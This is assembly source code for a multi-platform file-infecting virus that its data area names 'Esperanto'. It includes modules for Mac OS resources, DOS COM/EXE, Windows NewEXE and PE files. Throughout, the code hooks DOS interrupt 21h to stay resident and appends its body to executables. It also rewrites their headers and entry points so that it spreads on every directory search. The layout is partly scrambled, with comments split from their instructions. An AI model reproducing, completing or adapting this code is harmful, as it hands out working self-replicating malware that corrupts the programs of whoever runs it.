movea.l d5,a0 movea.l (a0),a0 move.l (sp)+,$6(a0) move.w d7,-(sp) _UseResFile bra calc_new_size

; ; ; ; ; ;

Move our delta to a0 Move 1st byte to a0 Move MDEF address to a0+$6 and use the CODE resource (addr.in d7) Calculate new size

movea.l d5,a0 move.l (a0),a0 move.l a4,$6(a0) clr.w -(sp) _UseResFile

; ; ; ; ;

Move ëelta to a0 Move 1st byte to a0 Move address for MDEF to a0+$6 and call UseResFile function

subq.w #$4,sp move.l #'MDEF',-(sp) clr.w -(sp) _Get1Resource

; ; ; ;

Empty stack (4 bytes) Move resource name Clear one word Get a new resource

movea.l (sp)+,a2 move.l a2,-(sp) _DetachResource

; Move its address to a2 ; Push a2 into the stack ; Detach the new resource

move.w d4,-(sp) _UseResFile

; Use current resource ; file previously stored

subq.w #$4,sp move.l #'MDEF',-(sp) clr.w -(sp) _Get1Resource

; ; ; ;

movea.l (sp)+,a4 move.l a4,d0 bne.s address_used

; Move address to a4 ; Is this address busy? ; Branch if so

move.l

; Stack resource address

a2,-(sp)

Move handle to a4 Push it into the stack Move our identifier And push the name tab Set resource new info

Stack original address Stack resource name Clear one word Viral res.ID string Add new resource

Empty stack (4 bytes) Move resource name Clear one word Get the new resource

address_used:

calc_new_size:

move.l #'MDEF',-(sp) clr.w -(sp) pea second_tab _AddResource

; ; ; ;

Move resource name Clear one word Resource identifier Add new resource

subq.w #$2,sp _CurResFile _UpdateResFile bra.s calc_new_size

; ; ; ;

Empty stack (2 bytes) Current resource file Update resource file Calculate new size

move.w d7,-(sp) _UseResFile

; Use current resource ; file previously stored

subq.w #$4,sp move.l #'MDEF',-(sp) clr.w -(sp) _Get1Resource

; ; ; ;

movea.l (sp)+,a4 move.l a4,d0 bne.s calc_new_size

; Move its address to a4 ; Compare it again ; Branch if not equal

move.l a2,-(sp) move.l #'MDEF',-(sp) clr.w -(sp) pea second_tab _AddResource

; ; ; ; ;

subq.w #$2,sp _CurResFile _UpdateResFile

; Empty stack (2 bytes) ; Current resource file ; Update resource file

move.l d5,-(sp) _CalcMenuSize

; Move delta into stack ; Calculate new menu size

movem.l unlk movea.l lea jmp

(sp)+,d4-d7/a2-a4 a6 (sp)+,a0 $12(sp),sp (a0)

; ; ; ; ;

dc.l dc.w dc.w

#'MAIN' #$2020 #$2020

; Main code module ; Pre-initialized gaps ; for Mac OS Finder

Empty stack (4 bytes) Move resource name Clear one word Get one resource

Stack resource address Move resource name Clear one word Resource ID string Add new resource

Restore used registers Unlink code address Move original address to a0, restore stack and jump back to it

; ÄÄ´ Data area for Mac OS module ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ first_tab: second_tab: name_only:

dc.w dc.b dc.l

#$16 #$7 #'Esperanto'

; For _GetNamedResource ; For _AddResource ; For _SetResInfo

; Í͹ DOS runtime module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ real_ce_entry: delta_offset:

call pop sub push pop

delta_offset bp bp,offset delta_offset es cs ds

; ; ; ; ;

Get ë-offset in BP in the traditional and always effective way :) Segment push/popping for l8r use in our code

mov int

ax,':)' 21h

; Residency check ; Are we home?

cmp

ax,';)'

; Winky smiley, we are

go_mem_res:

je

work_done

; already resident...

mov dec mov xor

ax,es ax ds,ax di,di

; ; ; ;

cmp jna

byte ptr ds:[di],'Y' work_done

; Is it a Z block? ; Exit if it is not

sub sub add inc mov mov mov mov mov inc

word ptr ds:[di+3],((espo_mem_size/10h)+2) word ptr ds:[di+12h],((espo_mem_size/10h)+2) ax,word ptr ds:[di+3] ax ; Get a new MCB segment ; for the viral code ds,ax byte ptr ds:[di],'Z' ; Mark it as a Z block word ptr ds:[di+1],8 ; And as a system block word ptr ds:[di+3],((espo_mem_size/10h)+1) dword ptr ds:[di+8],00534f44h ; Owner ID -> DOS ax

cld push pop mov mov mov rep

cs ds es,ax cx,espo_file_size si,bp movsb

; ; ; ; ; ; ;

Residency routine Get our host's MCB segment and point its start with DI

Clear direction flag Point with CS and DS to the code running now ES = virus segment CX = virus size SI = virus start Copy virus to memory

push push retf

es offset copy_vector

; Now jump to our copy ; in memory so we don't ; have to use ë-offset

push mov mov lea movsd

ds ds,cx si,21h*4 di,old_int_21h

; ; ; ; ;

mov mov

word ptr [si-4],offset new_int_21h word ptr [si-2],ax

pop mov mov

ax ds,ax es,ax

work_done:

cmp je

byte ptr ds:[bp+file_flag],'C' ; Is our host a COM? restore_com ; Yes, restore it

restore_exe:

pop mov add add

es ax,es ax,10h word ptr ds:[bp+exe_cs],ax

; ; ; ;

In case it's an EXE file, get PSP segment and adjust it to execute our host code

cli mov add mov sti

sp,word ptr ds:[bp+exe_sp] ax,word ptr ds:[bp+exe_ss] ss,ax

; ; ; ; ;

Clear interrupts Set new SP Get SS and add to it the PSP+10h value Set interrupts

xor xor

ax,ax bx,bx

; Set the value of all ; these registers to 0

copy_vector:

Save DS in the stack DS = CX = 0 -> IVT Point int 21h vector Point our storage Store old vector

; Once we've set the ; new int 21h vector, ; check out our host

restore_com:

xor cwd xor xor

cx,cx si,si di,di

; ; ; ;

so it seems that nothing has happened and we've not been here infecting :)

push push xor retf

word ptr ds:[bp+exe_cs] word ptr ds:[bp+exe_ip] bp,bp

; Push initial segment ; Push initial offset ; And jump into there!

lea mov push movsd movsb retf

si,[bp+old_com_header] di,100h ds di

; ; ; ; ; ;

Point to the buffer in which we've stored the original COM header and copy it (5 bytes) to its entrypoint Jump to CS:IP

; Í͹ Windows 3.1x module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ newexe_entry:

find_more_com:

other_search: find_more_exe:

restore_ne:

newexe_ip newexe_cs

pusha push

; Push our registers ; And save segments

ds es

mov mov int mov

ax,0ah bx,cs 31h ds,ax

mov mov xor mov lea int jc

byte ptr ds:[file_or_mem],'F' ah,4eh cx,cx byte ptr ds:[inf_counter],cl dx,ds:[com_wildcard] ; 21h ; other_search ;

mov int

ah,2fh 21h

; Get DTA address in ; ES:BX and point to it

add xchg mov jmp

bx,1eh dx,bx byte ptr ds:[file_flag],'C' check_com

; ; ; ;

BX+1eh -> filename ES:DX -> filename Switch the COM flag on And jump for it!

mov xor lea int jc

ah,4eh cx,cx dx,ds:[exe_wildcard] 21h restore_ne

; ; ; ; ;

Now let's look for EXE files (only in the current directory) as there are not more COM files to infect

mov int

ah,2fh 21h

; Get DTA address in ; ES:BX and point to it

add xchg mov jmp

bx,1eh dx,bx byte ptr ds:[file_flag],'E' check_exe

; ; ; ;

pop popa

es ds

; Pop our segments and ; reggs from the stack

db dw dw

0eah ? 0ffffh

; jmp xxxx:xxxx ; Original offset ; Original segment

; Get a writable alias ; selector of CS in AX ; and move it to DS

; Runtime infection ; Find first file ; No special attribs ; inf_counter = 0 Look for COM files to infect only in current directory

BX+1eh -> filename ES:DX -> filename Switch the EXE flag on And jump for it!

; Í͹ DOS memory resident module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ new_int_21h:

more_checks:

return_to_int: old_int_21h

cmp jne

ax,':)' more_checks

; Our residency check? ; Nope, more checks...

inc iret

ah

; Turn ":)" into ";)" ; Interrupt return

cmp je

ah,4eh findfirst

; Find first file? ; Yes, it's our time!

cmp je

ah,4fh findnext

; Find next file? ; Our time again! :)

db dw

0eah ?,?

; jmp xxxx:xxxx ; Original int 21h

; ÄÄ´ Findfirst (4eh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ findfirst:

get_path:

pusha push pop

es cs es

; Push'em onto the stack ; Push ES as well so we ; now change it to CS

cld mov lea mov

; Clear direction flag si,dx ; DS:DX/SI -> filename di,filename ; ES:DI -> name buffer word ptr cs:[file_offset],di ; Filename offset

lodsb or je

al,al no_more_path

; Load a byte of path ; The end of the path? ; Jump if so to work...

stosb cmp je

al,':' update_offset

; Store it in the buffer ; Possible end of path? ; Then update offset

cmp jne

al,'\' get_path

; Possible end of path? ; Update filename offset

update_offset:

mov jmp

word ptr cs:[file_offset],di ; New filename offset get_path ; Get more characters

no_more_path:

pop popa

es

; Restore ES from stack ; And the other registers

; ÄÄ´ Findnext (4fh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ findnext:

lets_work:

pushf call

dword ptr cs:[old_int_21h]

; Push flags in the stack ; Call original int 21h

pushf pusha push

ds es

; Push flags again ; Now push registers ; And now segments

cld mov int

ah,2fh 21h

; Clear direction flag ; Get Disk Transfer Area ; (DTA) in ES:BX

mov mov add

di,word ptr cs:[file_offset] ; DI -> filename offset si,bx ; Now point with DS:SI si,1eh ; to the name in DTA

push pop get_name:

not_a_dot:

cs es ds es

; New DS = old ES ; New ES = old CS

lodsb stosb cmp jne

al,'.' not_a_dot

; ; ; ;

mov or jne

word ptr cs:[dot_xy],di al,al get_name

; Then store its offset ; End of filename? ; Keep on getting it

push pop

cs ds

; Push CS and pop DS ; so they're the same

lea mov mov

dx,filename ; DS:DX -> filename di,word ptr ds:[dot_xy] ; DS:DI -> extension byte ptr cs:[file_or_mem],'M'

cmp je

word ptr ds:[di],'XE' check_exe

; Is it an EXE file? ; Seems so...

cmp jne

word ptr ds:[di],'OC' pop_and_leave

; Maybe a COM file? ; If not, pop and leave

Load byte from DS:SI And store it in ES:DI Look for extension Have we reached it?

; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_com:

push pop

ds es ds

; DS = ES (to open files ; in DS:DX and ES:DX)

mov int xchg pop

ax,3d02h 21h bx,ax ds

; ; ; ;

call or jz

system_checks ah,ah close_and_pop

; Do some checks in ; order to know if we ; may infect the file

mov mov lea int

ah,3fh cx,5 dx,old_com_header 21h

; ; ; ;

cmp je

word ptr ds:[old_com_header+3],');' close_and_pop ; File is infected

call cmp jae

lseek_end ax,(0fc17h-espo_file_size) close_and_pop

; Now check its size ; 65535-virus-1000 ; Is it is too large?

cmp jbe

ax,(espo_file_size+3e8h) close_and_pop

; And now see if it's ; too small (virus+1000)

Open the file we've found in DS:DX (from memory) or ES:DX (from the runtime infection)

Read its first five bytes to our buffer and check if the file is already infected

; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_com:

mov inc push

byte ptr ds:[file_flag],'C' ; Set the COM flag in byte ptr ds:[inf_counter] ; Increment the counter ax ; AX -> filesize

mov mov lea

ah,40h cx,espo_file_size dx,espo_start

; Append our code to ; the file we're about ; to infect, leaving

int

21h

pop sub mov

ax ; Filesize in AX ax,3 ; Calcul8 the new jmp word ptr ds:[new_com_header+1],ax ; And write it

call

lseek_start

; Lseek to the start

mov mov lea int

ah,40h cx,5 dx,new_com_header 21h

; ; ; ;

close_and_pop:

mov int

ah,3eh 21h

; Close the file we've ; just infected

pop_and_leave:

cmp je

byte ptr ds:[file_or_mem],'M' ; Memory infection? memory_exit ; Yes, jump back to it

cmp je

byte ptr ds:[inf_counter],3 ; Have we reached the restore_ne ; infection limit?

mov cmp je jmp

ah,4fh byte ptr ds:[file_flag],'C' find_more_com find_more_exe

; ; ; ;

If not, look for more files to infect, both EXE and COM, depending on their availability

pop popa popf retf

es ds

; ; ; ;

Jump back to the int 21h handler and keep on intercepting 4eh and 4fh to infect

memory_exit:

2

; out the data buffers

And now write our new header -0e9h,?,?,;)which jumps straight to the viral code

; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_exe:

push pop

ds es ds

; DS = ES (to open files ; in DS:DX and ES:DX)

mov int xchg pop

ax,3d02h 21h bx,ax ds

; ; ; ;

call or jz

system_checks ah,ah close_and_pop

; Do some checks in ; order to know if we ; may infect the file

mov mov lea mov int

ah,3fh cx,41h dx,old_exe_header si,dx 21h

; ; ; ;

Read its first 41h bytes into our read buffer and point it with DS:DX and DS:SI

mov add cmp jne

ax,word ptr ds:[si] ah,al ah,'M'+'Z' close_and_pop

; ; ; ;

First word in AX Add the 2 first bytes And check for the MZ mark (DOS EXE files)

cmp je

word ptr ds:[si+12h],');' close_and_pop

; Have we already ; infected the file?

cmp jne

word ptr ds:[si+1ah],0 close_and_pop

; We don't like evil ; overlays :P

Open the file we've found in DS:DX (from memory) or ES:DX (from the runtime infection)

cmp je

word ptr ds:[si+1eh],'KP' close_and_pop

; Nor PkLited EXE files, ; they plainly suck

call cmp jbe

lseek_end ax,(espo_file_size+3e8h) close_and_pop

; Lseek to the end of ; the file and check if ; it's too small for us

cmp je

byte ptr ds:[si+18h],40h check_winexe

; Is it a WinXX file? ; Yep, go for it!

; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_exe:

go_away:

mov inc

byte ptr ds:[file_flag],'E' ; Set the EXE flag in byte ptr ds:[inf_counter] ; Increment the counter

push mov div sub add

ax dx cx,10h cx ax,word ptr ds:[si+8] dx,offset com_exe_entry

; ; ; ; ;

DX:AX -> file size CX -> paragraph size Now divide the length Header size in paras Add the entry offset

push xchg mov pop

ax word ptr ds:[si+16h],ax word ptr ds:[exe_cs],ax ax

; ; ; ;

AX = new EXE CS Exchange the values Save old EXE CS Restore AX from stack

push xchg mov pop

dx word ptr ds:[si+14h],dx word ptr ds:[exe_ip],dx dx

; ; ; ;

DX = new EXE IP Exchange the values Save old EXE IP Restore DX from stack

add and

dx,offset espo_file_end+320h ; Add 320h to the virus dl,0feh ; size in order to set SP

xchg mov

word ptr ds:[si+0eh],ax word ptr ds:[exe_ss],ax

; Exchange the values ; And save old EXE SS

xchg mov pop

word ptr ds:[si+10h],dx word ptr ds:[exe_sp],dx dx ax

; Exchange the values ; And save old EXE SP ; DX:AX -> file size

add adc mov div inc mov mov mov

ax,espo_file_size dx,0 cx,200h cx ax word ptr ds:[si+2],dx word ptr ds:[si+4],ax word ptr ds:[si+12h],');'

; ; ; ; ; ; ; ;

Add virus size to AX And add with carry CX -> page size Divide the length Increment one page Bytes in last page Pages in EXE file Set our own mark

mov mov lea int

ah,40h cx,espo_file_size dx,espo_start 21h

; ; ; ;

Append our code to the end of the EXE file we've almost infected :P

call

lseek_start

; Lseek to start

mov mov mov int jmp

ah,40h cx,1ch dx,si 21h close_and_pop

; ; ; ; ;

And now write the new header with the updated pointers instead of the old one Close file and exit

; ÄÄ´ NewEXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_winexe:

bad_winexe:

lea mov mov

di,winexe_data ax,word ptr ds:[si+3ch] word ptr ds:[di],ax

; Point to our buffer ; Save the pointer to ; the new EXE header

mov sub cmp jne

word ptr ds:[si+12h],');' word ptr ds:[si+3ch],8 word ptr ds:[si+3eh],0 go_away

; ; ; ;

call

lseek_start

; Lseek to start

mov mov mov int

ah,40h cx,40h dx,si 21h

; ; ; ;

mov call

dx,word ptr ds:[di] lseek_middle

; Lseek to the new EXE ; header (MZ+[3ch])

mov mov mov int

ah,3fh cx,200h dx,si 21h

; ; ; ;

cmp je

word ptr ds:[si],'EP' check_pe

; Is it a PE file? ; Go and eat it!

cmp jne

word ptr ds:[si],'EN' bad_winexe

; Maybe a NewEXE file? ; Argh! that's bad luck

cmp je

word ptr ds:[si+36h],802h infect_newexe

; Does it have gangload ; area? good to know ;)

call mov mov mov int

lseek_start ah,3fh cx,41h dx,si 21h

; ; ; ;

add call

word ptr ds:[si+3ch],8 lseek_start

; Update the pointer to ; the new EXE header

mov mov mov int jmp

ah,40h cx,40h dx,si 21h close_and_pop

; ; ; ; ;

Set our infection mark Substract a quadword Enough room for us? Oops... shit... :(

Write in the changes we've just made in the pointers of the MZ header of the file

Read 200h bytes from the start of the new EXE file to our buffer and point to it

Lseek to start of the file and read again the MZ header because we have to remodify it

And rewrite the MZ header, stored in our read buffer (pointed by DS:DX and DS:SI) Close file and exit

; ÄÄ´ NewEXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_newexe:

first_ok:

inc mov mov cmp jb

byte ptr ds:[inf_counter] ax,word ptr ds:[si+22h] dx,8 word ptr ds:[si+4],ax first_ok

; ; ; ; ;

Increment the counter Distance to seg.table Value we have to add to the pointers which are equal to AX

add mov push add

word ptr ds:[si+4],dx cx,4 si si,24h

; ; ; ;

Update first pointer 4 pointers to update Push SI onto stack Now go for the rest

update_ptrs:

dont_add:

move_forward:

cmp jb

word ptr ds:[si],ax dont_add

; Pointer below AX? ; Don't add 8 to it

add inc inc loop pop

word ptr ds:[si],dx si si update_ptrs si

; ; ; ; ;

mov inc

ax,word ptr ds:[si+1ch] word ptr ds:[si+1ch]

; AX -> segment counter ; Increment counter

mov cwd mov mov mov mul

cx,dx byte ptr ds:[si+37h],dl word ptr ds:[si+38h],dx word ptr ds:[si+3ah],dx cx

; ; ; ; ; ;

CX = DX = 8 Now set DX to 0 EXE flags = 0 Kill gangload area for compatibility Multiply AX*CX

add mov adc div

ax,word ptr ds:[si+22h] cx,200h dx,0 cx

; ; ; ;

Ptr to segment table CX -> page size Add with carry to DX Divide the length

mov mov

word ptr ds:[di+3],ax word ptr ds:[di+5],dx

; Move to newexe_size ; Move to last_newexe

mov xchg mov

ax,offset newexe_entry ax,word ptr ds:[si+14h] word ptr ds:[old_ne_ip],ax

; Offset of the NE entry ; Exchange the values ; Store old NE IP

mov xchg mov

ax,word ptr ds:[si+1ch] ax,word ptr ds:[si+16h] word ptr ds:[old_ne_cs],ax

; Nr.of segments in NE ; Exchange the values ; Store old NE CS

mov mov

al,byte ptr ds:[si+32h] byte ptr ds:[di+2],al

; Get file alignment ; shift count in AL

mov mov

ax,word ptr ds:[di] word ptr ds:[di+7],ax

; Offset of NE header ; in AX and lseek_newexe

mov or jz

ax,word ptr ds:[di+3] ax,ax last_page

; Get newexe_size value ; in AX and check if it ; is equal to zero

dec mov sub call

word ptr ds:[di+3] dx,word ptr ds:[di+7] dx,8 lseek_middle

; ; ; ;

Decrement newexe_size Now lseek to [3ch]-8 in order to shift the required objects

mov mov add mov int

ah,40h cx,200h word ptr ds:[di+7],cx dx,si 21h

; ; ; ;

Write one page which contains the NE header in [3ch]-8 in order to shift the 1st object

push mov call

cx dx,word ptr ds:[di+7] lseek_middle

; CX -> one page size ; Now lseek to the end ; of the *new* NE header

mov pop mov

ah,3fh cx dx,si

; Read a new page from ; current offset to our ; buffer, pointed both

Update the pointer I know i could have optimized this, but who cares :P Pop SI from stack

last_page:

no_extra:

int

21h

; by DS:DX and DS:SI

jmp call

move_forward lseek_end

; And go shift it ; Lseek to the bottom

mov push mov shl mov pop div

cl,byte ptr ds:[di+2] bx bx,1 bx,cl cx,bx bx cx

; ; ; ; ; ; ;

mov or jz

word ptr ds:[di+9],0 dx,dx no_extra

; Set lseek_add = 0 ; Is DX also zero? ; Yes, no extra page

sub mov inc

cx,dx word ptr ds:[di+9],cx ax

; Substract DX from CX ; Move it to lseek_add ; And increment AX

push mov add

di ; Push DI onto stack di,si ; Now DS:SI = DS:DI di,word ptr ds:[last_newexe] ; DS:DI+last_newexe

mov mov mov mov pop

word word word word di

mov sub call

dx,word ptr ds:[di+7] dx,8 lseek_middle

; Lseek to the offset ; where we have to ; write this last page

mov mov add mov int

ah,40h cx,word ptr ds:[di+5] cx,8 dx,si 21h

; ; ; ; ;

Write it in, its size is specified in (last_newexe)+8 Point to the buffer And do it :P

xor xchg push xor dec xchg push

cx,cx word ptr ds:[newexe_ip],cx cx cx,cx cx word ptr ds:[newexe_cs],cx cx

; ; ; ; ; ; ;

Set the NewEXE IP to zero, exchange it and push old value And now set the NewEXE CS to 0ffffh Exchange the values And push it for l8r

mov xor mov int

ax,4202h cx,cx dx,word ptr ds:[di+9] 21h

; Lseek to our final ; destination place ; in the NewEXE file

mov mov lea int

ah,40h cx,espo_file_size dx,espo_start 21h

; ; ; ;

pop pop

word ptr ds:[newexe_cs] word ptr ds:[newexe_ip]

; Restore relocation ; pointers for CS:IP

mov

ah,40h

; And write the cool

ptr ptr ptr ptr

Get align_shift in CL Push file handle And now shift segment offset by segment alignment (shl -> CX) Pop file handle And divide AX:CX

ds:[di],ax ; Segment offset ds:[di+2],espo_file_size ; Segment size ds:[di+4],180h ; Segment attribs ds:[di+6],espo_file_size+400h ; Bytes to ; allocate

And append our virus body to it... now it has grown 4733 charming bytes :P

mov lea int jmp

cx,reloc_size dx,reloc_start 21h go_away

; ; ; ;

relocation item :) Now the file is 4743 bytes bigger! Close it and exit

; ÄÄ´ PE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_pe:

call mov mov mov int

lseek_start ah,3fh cx,41h dx,si 21h

call add mov mov mov int

lseek_start ; Lseek to start again word ptr ds:[si+MZ_lfanew],8 ; Update the pointer ah,40h ; to the new EXE header cx,40h ; by readding 8 to it dx,si ; and write the MZ 21h ; header back

mov call

dx,word ptr ds:[di] lseek_middle

; Now lseek to the ; PE header (in [3ch])

mov mov mov int

ah,3fh cx,200h dx,si 21h

; ; ; ;

mov lodsd

bp,si

; Also DS:SI = DS:BP ; First doubleword

mov test jz

ax,word ptr ds:[si+FH_Characteristics] ax,IMAGE_FILE_EXECUTABLE_IMAGE go_away ; We don't want neither ax,IMAGE_FILE_DLL ; DLLs nor non-exec PE go_away ; files, just skip them

test jnz

; ; ; ; ;

Lseek to the start of the file and read again the first 41h bytes of the MZ header to rebuild it

Read one page from it to our buffer and point it both with DS:DX and DS:SI

; Get number of sections of the PE file ; and then point the first section with EDI

s_image_sect:

movzx movzx add add

ecx,word ptr [si+FH_NumberOfSections] edi,word ptr [si+FH_SizeOfOptionalHeader] si,IMAGE_SIZEOF_FILE_HEADER edi,esi

mov

eax,dword ptr ds:[si+OH_DataDirectory\ .DE_Import\ .DD_VirtualAddress] edx,dword ptr ds:[di+SH_VirtualAddress] eax,edx

mov sub ; ; ; ; ;

Now we're looking for the section in which the import table is found. This is usually the .idata section, but we make sure by means of checking if the address of the imports directory is inside this section

cmp jb

eax,dword ptr ds:[di+SH_VirtualSize] section_is_ok

; In case it's not, we point to the header ; of the next section with EDI, and keep on

; doing the same until we find it add loop jmp

di,IMAGE_SIZEOF_SECTION_HEADER s_image_sect go_away

; Now get a pointer to the first import ; module descriptor in EAX so we may ; look for KERNEL32.DLL thru this array section_is_ok:

add mov sub push ; ; ; ;

eax,dword ptr ds:[di+SH_PointerToRawData] dword ptr ds:[rawdata_ptr],eax edx,eax edx

Get absolute address to this array in EDX and lseek to it in order to read 4096 to our buffer, so we may look for the KERNEL32.DLL descriptor

mov call

edx,eax lseek_middle

mov mov lea int

ah,3fh cx,1000h dx,old_exe_header 21h

; Restore EDX and point both with EAX and ; EBP to the array of imported modules pop mov

edx eax,ebp

; Get the RVA of the Import Module ; Descriptor in ESI and later check ; if it actually exists or not (=0) next_imd_imge:

mov lea or jz

esi,dword ptr ds:[bp+ID_Name] edi,kernel32_n esi,esi go_away

; Now get the address of the name of ; the IMD and check if it's the one ; we're looking for (KERNEL32.DLL) push sub sub add mov ; ; ; ; dll_lewp:

eax ebp esi,edx esi,dword ptr ds:[rawdata_ptr] esi,eax ecx,8

Get a character from DS:ESI, check its case, convert it if necessary to uppercase and then compare the strings pointed by DS:ESI and DS:EDI (-> KERNEL32.DLL)

lodsb cmp jb

al,'a' check_charct

sub

al,('a'-'A')

check_charct:

scasb jne loop

more_imd_imge dll_lewp

; Name matched, restore registers pop push

edi es bx

; Get file date/time and check if it is a ; binded file (date 24/08/95, time 9:50) mov int

ah,2fh 21h

cmp je

dword ptr es:[bx+16h],1f184e40h go_away

; ; ; ;

Don't infect it in case it is binded. Otherwise point the table of imported addresses from the current module (K32) and look for some necessary RVAs

pop mov sub mov push

bx es ebp esi,dword ptr [di+ID_FirstThunk] esi,edx dword ptr ds:[thunk_offset],esi edx

; Lseek to the absolute offset and read ; 4096 bytes to our buffer so we may look ; for the RVAs of the APIs we need mov call

edx,esi lseek_middle

mov mov lea mov int

ah,3fh cx,1000h dx,old_exe_header si,dx 21h

; ; ; ;

Now let's go for GetModuleHandleA. We need the RVA of this API because it is necessary to call it in order to know the base address of KERNEL32.DLL

pop push lea call mov ; ; ; ;

edx esi edi,gmhandle_n search_name dword ptr ds:[gmhandle_rva],eax

Our next and last objective is the API GetProcAddress, which helps us in order to find the address of any API we look for of a given module or library

pop lea call mov jmp

esi edi,gpaddress_n search_name dword ptr ds:[gpaddress_rva],eax infect_pe

; Go to next imported module descriptor more_imd_imge:

pop add jmp

ebp eax ebp,IMAGE_SIZEOF_IMPORT_DESCRIPTOR next_imd_imge

; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_pe:

inc mov

byte ptr ds:[inf_counter] si,bp

mov call

dx,word ptr ds:[winexe_offset] ; Lseek to the PE lseek_middle ; header ([3c8h])

mov mov mov int

ah,3fh cx,1000h dx,si 21h

; ; ; ;

; Increment inf.counter ; SI = BP -> read buffer

; ; ; ;

And read 4096 bytes from it to our read buffer, pointing it with DS:DX and DS:SI

Get the RVA of the last section header in EDI. Here's where we're going to copy our code, so no new sections are needed and we're not so easily discovered in a file

cld lodsd mov movzx dec mul

eax,IMAGE_SIZEOF_SECTION_HEADER ecx,word ptr ds:[esi+FH_NumberOfSections] ecx ecx

movzx add add add mov

edx,word ptr ds:[esi+FH_SizeOfOptionalHeader] eax,edx esi,IMAGE_SIZEOF_FILE_HEADER eax,esi edi,eax

; Now get the old entry point and store its ; RVA in a dynamic variable of our code we ; will use in order to jump back to our host push pop

dword ptr ds:[esi+OH_AddressOfEntryPoint] dword ptr ds:[entry_rva]

; Get original file size and store it for ; later use during the PE infection process push mov int

es bx ah,2fh 21h

mov pop

eax,dword ptr es:[bx+1ah] bx es

; Calculate new entry point by means of the ; original file size and our memory size, and ; save it as the new AddressOfEntryPoint push sub add add

eax eax,dword ptr ds:[edi+SH_PointerToRawData] eax,dword ptr ds:[edi+SH_VirtualAddress] ax,offset espow32_start

mov

dword ptr ds:[esi+OH_AddressOfEntryPoint],eax

; And store the RVA of the base address, not ; forgetting to add the dseta offset to it add mov

eax,dseta_offset dword ptr ds:[base_address],eax

; Get new size of VirtualSize

virtual_ok:

pop add sub push add cmp jbe

eax ax,espo_file_size eax,dword ptr ds:[edi+SH_PointerToRawData] eax ax,(espo_mem_size-espo_file_size) eax,dword ptr ds:[edi+SH_VirtualSize] virtual_ok

mov pop

dword ptr ds:[edi+SH_VirtualSize],eax eax

; And now the new size of SizeOfRawData add mov cdq div inc mul mov

ax,(espo_mem_size-espo_file_size) ecx,dword ptr ds:[esi+OH_FileAlignment] ecx eax ecx dword ptr ds:[edi+SH_SizeOfRawData],eax

; Set section characteristics to execute, read ; and write access, so Esperanto will not find ; any problem when performing its functioning or

dword ptr ds:[edi+SH_Characteristics],\ IMAGE_SCN_MEM_EXECUTE or\ IMAGE_SCN_MEM_READ or\ IMAGE_SCN_MEM_WRITE

; Update the SizeOfImage pointer mov add mov cdq div inc mul mov

eax,dword ptr ds:[esi+OH_SizeOfImage] ax,espo_file_size ecx,dword ptr ds:[esi+OH_FileAlignment] ecx eax ecx dword ptr ds:[esi+OH_SizeOfImage],eax

; Lseek to the offset of the PE header and ; rewrite the recently modified and updated ; one the infected file will use from now mov call

dx,word ptr ds:[winexe_offset] lseek_middle

mov mov mov int

ah,40h cx,1000h dx,bp 21h

; And now finally lseek to the end of the ; file and append our code to the PE file ; we've just infected - we can go away call mov mov lea int jmp

lseek_end ah,40h cx,espo_file_size dx,espo_start 21h go_away

